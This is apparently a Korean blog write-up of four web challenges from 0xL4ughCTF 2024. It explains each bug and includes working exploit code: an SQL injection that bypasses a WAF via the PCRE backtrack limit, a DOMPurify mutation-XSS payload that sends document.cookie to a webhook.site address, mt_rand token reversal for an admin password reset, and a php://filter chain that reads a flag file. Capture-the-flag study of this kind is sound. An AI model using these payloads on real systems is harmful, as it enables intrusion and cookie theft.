Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

0xL4ughCTF 2024

CTFtime: https://ctftime.org/event/2216

Official URL: https://ctf24.0xl4ugh.com/

Team Score

대회 당시 웹 문제는 총 1문제를 풀었고, 나머지 웹 문제들은 대회 이후 다시 풀어보고 Writeup을 작성했다.

Writeup

Micro

116 solves / 50 points

PHP는 외부 서버에서 Flask는 내부 서버에서 돌아간다.

app.py

def authenticate_user(username, password):
    try:
        conn = mysql.connector.connect(
            host=mysql_host,
            user=mysql_user,
            password=mysql_password,
            database=mysql_db
        )

        cursor = conn.cursor()

        query = "SELECT * FROM users WHERE username = %s AND password = %s"
        cursor.execute(query, (username, password))

        result = cursor.fetchone()

        cursor.close()
        conn.close()

        return result  
    except mysql.connector.Error as error:
        print("Error while connecting to MySQL", error)
        return None
@app.route('/login', methods=['POST'])
def handle_request():
    try:
        username = request.form.get('username')
        password = hashlib.md5(request.form.get('password').encode()).hexdigest()
        # Authenticate user
        user_data = authenticate_user(username, password)

        if user_data:
            return "0xL4ugh{Test_Flag}"  
        else:
            return "Invalid credentials"  
    except:
        return "internal error happened"

내부 서버에 admin 계정으로 로그인하면 플래그를 얻을 수 있다.

init.db

insert into users(id,username,password) values('1','admin','21232f297a57a5a743894a0e4a801fc3');

아이디: admin, 패스워드: admin

src/index.php

<?php
error_reporting(0);
function Check_Admin($input)
{
    $input=iconv('UTF-8', 'US-ASCII//TRANSLIT', $input);   // Just to Normalize the string to UTF-8
    if(preg_match("/admin/i",$input))
    {
        return true;
    }
    else
    {
        return false;
    }
}

function send_to_api($data)
{   
    echo $data;
    $api_url = 'http://127.0.0.1:5000/login';
    $options = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => $data,
        ],
    ];
    $context = stream_context_create($options);
    $result = file_get_contents($api_url, false, $context);
    
    if ($result !== false) 
    {
        echo "Response from Flask app: $result";
    } 
    else 
    {
        echo "Failed to communicate with Flask app.";
    }
}

if(isset($_POST['login-submit']))
{
	if(!empty($_POST['username'])&&!empty($_POST['password']))
	{
        $username=$_POST['username'];
		$password=md5($_POST['password']);
        if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
        {
            die("Admin Login allowed from localhost only : )");
        }
        else
        {
            send_to_api(file_get_contents("php://input"));
        }   

	}
	else
	{
		echo "<script>alert('Please Fill All Fields')</script>";
	}
}
?>

PHP로 구성된 외부 웹사이트에 방문하면 아이디와 패스워드를 입력 받고, Check_Admin() 함수를 통해 아이디가 admin인지 검사한다.

유니코드, 대문자 등을 사용해도 우회할 수 없도록 되어있다.

하지만, Flask와 PHP의 Request Body 처리 방식이 다르다는 점을 활용하여 우회가 가능하다.

Flask의 경우, parameter1=value1&parameter1=value2&parameter1=value3 값을 넘기면, 가장 먼저 입력된 parameter1=value1로 처리한다.

반면, PHP의 경우, parameter1=value1&parameter1=value2&parameter1=value3 값을 넘기면, 가장 마지막에 입력된 parameter1=value3로 처리한다.

이러한 차이를 활용하여 우회해주면 된다.

Exploit Code

Flag

0xL4ugh{M1cr0_Serv!C3_My_Bruuh}

Simple WAF

42 solves / 198 points

index.php

<?php
require_once("db.php");

function waf($input)
{
    if(preg_match("/([^a-z])+/s",$input))
    {
        return true;
    }
    else
    {
        return false;
    }
}


if(isset($_POST['login-submit']))
{
	if(!empty($_POST['username'])&&!empty($_POST['password']))
	{
        $username=$_POST['username'];
		$password=md5($_POST['password']);
        if(waf($username))
        {
            die("WAF Block");
        }
        else
        {
            $res = $conn->query("select * from users where username='$username' and password='$password'");
                                                                    
            if($res->num_rows ===1)
            {
                echo "0xL4ugh{Fake_Flag}";
            }
            else
            {
                echo "<script>alert('Wrong Creds')</script>";
            }
        }
	}
	else
	{
		echo "<script>alert('Please Fill All Fields')</script>";
	}
}
?>

SQL Injection 취약점이 존재하고, admin 계정에 로그인해야한다. 하지만, waf()함수를 통해 입력 값을 검증하고 있다.

개행을 통해 우회해보려고 하였으나 preg_match()s옵션이 걸려있어 불가능함을 깨닫고, preg_match()의 반환 값을 제대로 검사하지 않아 error를 발생시켜 waf()를 우회해야겠다고 생각했다.

https://www.php.net/manual/en/function.preg-match.php

공식 문서를 보면, 정규식에 매칭되지 않으면 0을 반환하고, 에러가 발생하면 false을 반환한다고 되어있다.

preg_match() 함수는 pcre 함수들 중 하나로 pcre에 의해 실행된다.

http://php.adamharvey.name/manual/kr/pcre.configuration.php

pcrepcre.backtrack_limit,pcre.recursion_limit,pcre.jit 변수를 갖는데 이 중 pcre.backtrack_limit 변수는 PHP < 5.3.7에서 Default 값 100,000으로 설정되어 있다.

설정된 pcre.backtrack_limit 값을 초과하면 preg_match() 함수에서 false를 반환해서 우회가 가능하다.

즉, username 값의 길이를 100,000 이상으로 설정하고 SQL Injection을 수행해주면 된다.

Exploit Code

import requests 
url = "http://20.115.83.90:1339"

r = requests.post(
    f"{url}/", 
    data={
        "username": " "*100000 + "' or username='admin'#", 
        "password":"x", 
        "login-submit": "x"
    })
print(r.status_code)
print(r.text)     

Flag

0xL4ugh{0ohh_You_Brok3_My_Wh1te_List!!!}

DamnPurify

25 solves / 397 points

index.php

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <script src="https://cure53.de/purify.js"></script>
  </head>
  <body>
<script>
    window.onload = () => {
        const params = new URLSearchParams(location.search);
        injection = params.get("xss");
    if (injection)
{
    injection = DOMPurify.sanitize(injection);
    document.body.innerHTML = injection.replace(/<style>.*<\/style>/gs, "");
}
    };
</script>

</html>

XSS 공격을 막기 위해 DOMPurify를 사용하고 있다. 하지만, <style> 태그를 포함하여 안에 요소들은 "" 빈 문자열 형태로 변환되고 document.body.innerHTML에 들어가기 때문에 이를 충분히 우회할 수 있다.

http://20.115.83.90:1337/?xss=<svg><style></style><a id="</style><img src=x onerror=javascript:alert(1)>">

<style></style> 태그가 사라지면서 <img> 태그가 " 밖으로 나오게 되면서 XSS 취약점이 발생한다.

Exploit Code

/report.phpurl 파라미터에 전달

http://127.0.0.1/?xss=<svg><style></style><a id="</style><img src=x onerror=javascript:location.href=`https://webhook.site/ff82dc39-2a77-4719-a8d2-7689bb425af9/?t=`%2Bdocument.cookie>">       

Flag

0xL4ugh{Daamn_You_Should_Trust_me_0nllyyy}

Ghazy Corp

19 solves / 442 points

회원가입 페이지에서 계정을 생성하려하면 You must use email from our mail system at /mail 문구가 뜨면서 메일 시스템에 있는 메일을 사용해야 한다고 알려준다.

/mail/index.php 경로에서 계정 생성에 필요한 데이터를 넘겨주고, /register.php 회원가입 페이지로 돌아와 계정을 생성할 수 있다.

$data=safe_data($_POST);
$placeholders = implode(', ', array_fill(0, count($data), '?'));
$sql = "INSERT INTO users (" . implode(', ', array_keys($data)) . ") VALUES (" . $placeholders . ")";
$stmt = $conn->prepare($sql);
if ($stmt) 
{
    $types = str_repeat('s', count($data));  
    $stmt->bind_param($types, ...array_values($data));
            
    if ($stmt->execute()) 
    {
        send_registration_mail($email);
        echo "<script>alert('User Created Successfully');window.location.href='index.php';</script>";
    } 
    else 
    {
        echo "<script>alert('Error1')</script>";
    }
            
    $stmt->close();
} 

/register.php에서 회원가입 시 이메일과 패스워드만 처리하는 것이 아닌 다른 컬럼 요소 값 또한 변경시킬 수 있는 문제가 존재한다.

CREATE TABLE IF NOT EXISTS `users` (
  `id` INT AUTO_INCREMENT PRIMARY KEY,
  `email` VARCHAR(255) NOT NULL,
  `password` VARCHAR(50) NOT NULL,
  `level` INT(3) DEFAULT 1,
  `confirmed` INT(1) DEFAULT 0
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

해당 문제로 인해 users 테이블에 level, confirmed 값이 유저에 의해 변경될 수 있다. 다시 말해, 로직 버그로 인해 confirmed=1&level=226 값을 전달할 수 있다.

if($target_user['confirmed']===1)
{
    $level=(int)$target_user['level'];
    generate_reset_tokens($email,$level);
    send_forget_password_mail($email);
    echo "<script>window.location.href='reset_password.php';</script>";
}

confirmed 값이 1로 설정될 경우, /forget_password.php의 위 코드를 실행시킬 수 있다.

function generate_reset_tokens($email,$level)
{
    $_SESSION['reset_email']=$email;
    $_SESSION['reset_token1']=mt_rand();
    for($i=0;$i<$level;$i++)
    {
        mt_rand();
    }
    $_SESSION['reset_token2']=mt_rand();

    // Generating another values in case the user entered wrong token
    $_SESSION['reset_token3']=mt_rand();
    $_SESSION['reset_token4']=mt_rand();
}

function send_forget_password_mail($email)
{
    global $conn;
    $email_id=guidv4();
    $email_content="Here is your reset password tokens: ".$_SESSION['reset_token1'].", ".$_SESSION['reset_token2'];
    $stmt=$conn->prepare("insert into mails(id,content,user_id) values(?,?,(select id from mail_users where email=?))");
    $stmt->bind_param("sss", $email_id,$email_content,$email);
    $stmt->execute();
}

/util.php에서 mt_rand() 함수를 통해 임의의 토큰 값을 설정하고, 해당 이메일의 reset_token1, reset_token2 토큰 값을 추가한다.

reset_password.php

if(!empty($_SESSION['reset_token1']) && !empty($_SESSION['reset_email']))
{
    if(!empty($_GET['email']) && !empty($_GET['token1']) && !empty($_GET['token2']) && !empty($_GET['new_password']))
    {
        $email=$_GET['email'];
        $token1=(int)$_GET['token1'];
        $token2=(int)$_GET['token2'];
        if(strlen($_GET['new_password']) < 10)
        {
            die("Plz choose password +10 chars");
        }
        $password=md5($_GET['new_password']);
        if($token1 === $_SESSION['reset_token1'] && $token2===$_SESSION['reset_token2'] && $email===$_SESSION['reset_email'])
        {

            $uuid=guidv4();
            $stmt=$conn->prepare("insert into admins(email,password,level,confirmed) values(?,?,1,1)"); // inserting instead of updating to avoid any conflict.
            $stmt->bind_param("ss",$email,$password);
            if($stmt->execute())
            {
                unset($_SESSION['reset_email']);
                unset($_SESSION['reset_token1']);
                unset($_SESSION['reset_token2']);
                echo "<script>alert('User Updated Successfully');window.location.href='index.php';</script>";
            }

        }
        else
        {
            unset($_SESSION['reset_token1']);
            unset($_SESSION['reset_token2']);
            // to be implemented : send mail with the new tokens
            echo "<script>alert('Wrong Token');window.location.href='wrong_reset_token.php?email=$email';</script>";
        }
    }
    else
    {
        echo "please enter email,token,new_password";
    }
}

패스워드를 초기화를 위해 이메일, 토큰1, 토큰2를 입력받는다.

echo "<script>alert('Wrong Token');window.location.href='wrong_reset_token.php?email=$email';</script>";

하지만, 입력한 토큰 값이 실제 값과 다를 경우, else문을 통해 wrong_reset_token.php로 리다이렉션되며 입력한 이메일을 인자로 넘긴다.

if(!empty($_GET['email']) && !empty($_GET['token1']) && !empty($_GET['token2']) && !empty($_GET['new_password']))
{
    $email=$_GET['email'];
    $token1=(int)$_GET['token1'];
    $token2=(int)$_GET['token2'];
    if(strlen($_GET['new_password']) < 10)
    {
        die("Plz choose password +10 chars");
    }
    $password=md5($_GET['new_password']);
    if($token1 ===$_SESSION['reset_token3']  &&  $token2 ===$_SESSION['reset_token4']  )
    {
        if ($email=="admin@ghazycorp.com")
        {
            $stmt=$conn->prepare("insert into admins(email,password,level,confirmed) values(?,?,1,1)"); // inserting instead of updating to avoid any conflict.
            $stmt->bind_param("ss", $email,$password);
            if($stmt->execute())
            {
                unset($_SESSION['reset_token3']);
                unset($_SESSION['reset_token4']);
                echo "<script>alert('User Updated Successfully');window.location.href='index.php';</script>";
            }
        }
        else
        {
            $stmt=$conn->prepare("insert into users(email,password,level,confirmed) values(?,?,1,1)"); // inserting instead of updating to avoid any conflict.
            $stmt->bind_param("ss", $email,$password);
            if($stmt->execute())
            {
                echo "<script>alert('User Updated Successfully');window.location.href='index.php';</script>";
            }
        }
    }
    else
    {

        echo "<script>alert('Wrong Token');window.location.href=history.back();</script>";
    }
}

reset_password.php에서 입력한 토큰1, 토큰2 값이 토큰3, 토큰4 값과 같다면 새로운 패스워드를 설정할 수 있어 토큰3, 토큰4를 알아내면 된다.

그럼, 토큰3, 토큰4를 어떻게 알아낼 수 있을까?

mt_rand() 함수는 수식을 통해 랜덤 값을 만들고 있기에 만들어진 두 개의 값을 알고 있다면, 역연산을 통해 다른 값들을 구할 수 있다.

https://github.com/ambionics/mt_rand-reverse

mt_rand-reverse를 사용하여 토큰3, 토큰4 값을 알아내고, 세션에 이메일 값을 저장하지 않고 있고, 비교 또한 하지 않고 있기 때문에 admin@ghazycorp.com 이메일을 전달하면 admin 계정의 패스워드를 수정할 수 있다.

if(!isset($_SESSION['user_id'])||!isset($_SESSION['role'])||$_SESSION['role']!=="admin" )
{
    die("Not Authorized");
}
echo "Still Under Development<Br>";
if(!empty($_POST['img']))
{
    $name=$_POST['img'];
    $content=file_get_contents($name);
    if(bin2hex(substr($content,1,3))==="504e47") // PNG magic bytes
    {
        echo "<img src=data:base64,".base64_encode($content);
    }
    else
    {
        echo "Not allowed";
    }
}

admin 계정 로그인 후, /user_photo.php에서 php://filter/를 사용하여 XPNG로 설정해주고 Flag 값을 읽어오면 된다.

전체적인 과정을 요약하면 아래와 같다.

  1. confirmed=1&level=226을 추가하여 계정 등록
  2. 로그인 후, /mail/mail.php에서 uuid 값을 읽기
  3. /mail/mail_view.php에서 reset_token1,reset_token2값을 읽기
  4. reset_token1,reset_token2값으로 역연산을 통해 reset_token3,reset_token4 값을 알아내기
  5. wrong_reset_token.php에서 admin 패스워드 변경
  6. php://filter/로 Flag 읽기

Exploit Code

import requests 
import random, os, base64, binascii
from bs4 import BeautifulSoup as bs 

HOST = "http://20.55.48.101"

s = requests.session()

email = random.randbytes(8).hex() + '@x.com'
password = random.randbytes(8).hex()

print("userid:", email)
print("userpw:", password)

r = s.post(f"{HOST}/mail/", 
                  data={ 
                      "email": email,
                      "password":password,
                      **{
                        "register-submit": 1,
                        "confirm-password": password
                      }
                  })
print(r.status_code)
r = s.post(f"{HOST}/register.php", 
                  data={ 
                      "email": email,
                      "password":password,
                      "level":226,
                      "confirmed":1,
                      **{'register-submit': 1}
                  })
print(r.status_code)
r = s.post(f"{HOST}/",
                  data={
                      "email": email,
                      "password": password, 
                      **{"login-submit": 1}
                  })
print(r.status_code)
# print(r.text)
r = s.post(f"{HOST}/mail/",
                  data={
                      "email": email,
                      "password": password, 
                      **{"login-submit": 1}
                  })
print(r.status_code)
# print(r.text)
r = s.post(f"{HOST}/forget_password.php",
           data={
               "email": email, 
               **{"recover-submit": 1}
           })
print(r.status_code)
# print(r.text)
r = s.get(f"{HOST}/mail/mail.php")
# print(r.text)
soup = bs(r.text, "html.parser")
raw_data = soup.select(".list-group > a")[1]["href"]
idx = raw_data.find("id=") + 3
last_id = raw_data[idx: idx + 37]

r = s.get(f"{HOST}/mail/mail_view.php",
          params={
              "id": last_id
          })
token1, token2 = r.text[r.text.find("tokens: ") + 8:r.text.find("<br>")].split(",")
token1, token2 = token1.strip(), token2.strip() 

print("Token1:",token1, "Token2:",token2)

seed = os.popen(f"python3 ./mt_rand-reverse/reverse_mt_rand.py {token1} {token2} 0 1").read().strip()
_, token3 = os.popen(f"php ./mt_rand-reverse/display_mt_rand.php {seed} 1").read().strip().split()
_, token4 = os.popen(f"php ./mt_rand-reverse/display_mt_rand.php {seed} 2").read().strip().split()

admin_email = "admin@ghazycorp.com"
new_admin_password = "asdfasdfasdfasdfasdfasdf"

r = s.get(f"{HOST}/wrong_reset_token.php",
          params={
              "email": admin_email, 
              "token1": token3,
              "token2": token4, 
              "new_password": new_admin_password
          })
print(r.status_code) 
print(r.text) 

s = requests.session() 

r = s.post(f"{HOST}/admin_login.php", 
           data={
               "email": admin_email, 
               "password": new_admin_password,
               **{"login-submit": 1}
           })
print(r.text)

r = s.post(f"{HOST}/user_photo.php",
           data={
               "img":"php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=file:///flag.txt"
           })

b1 = base64.b64decode(r.text[r.text.find("base64,")+7:]).decode('utf-8')
print("FLAG:", base64.b64decode(b1[:b1.find("+")] + "=="))

Flag

0xL4ugh{Ahhhhh_Hop3U_Did!t_by_Th3_Intended_W@@y}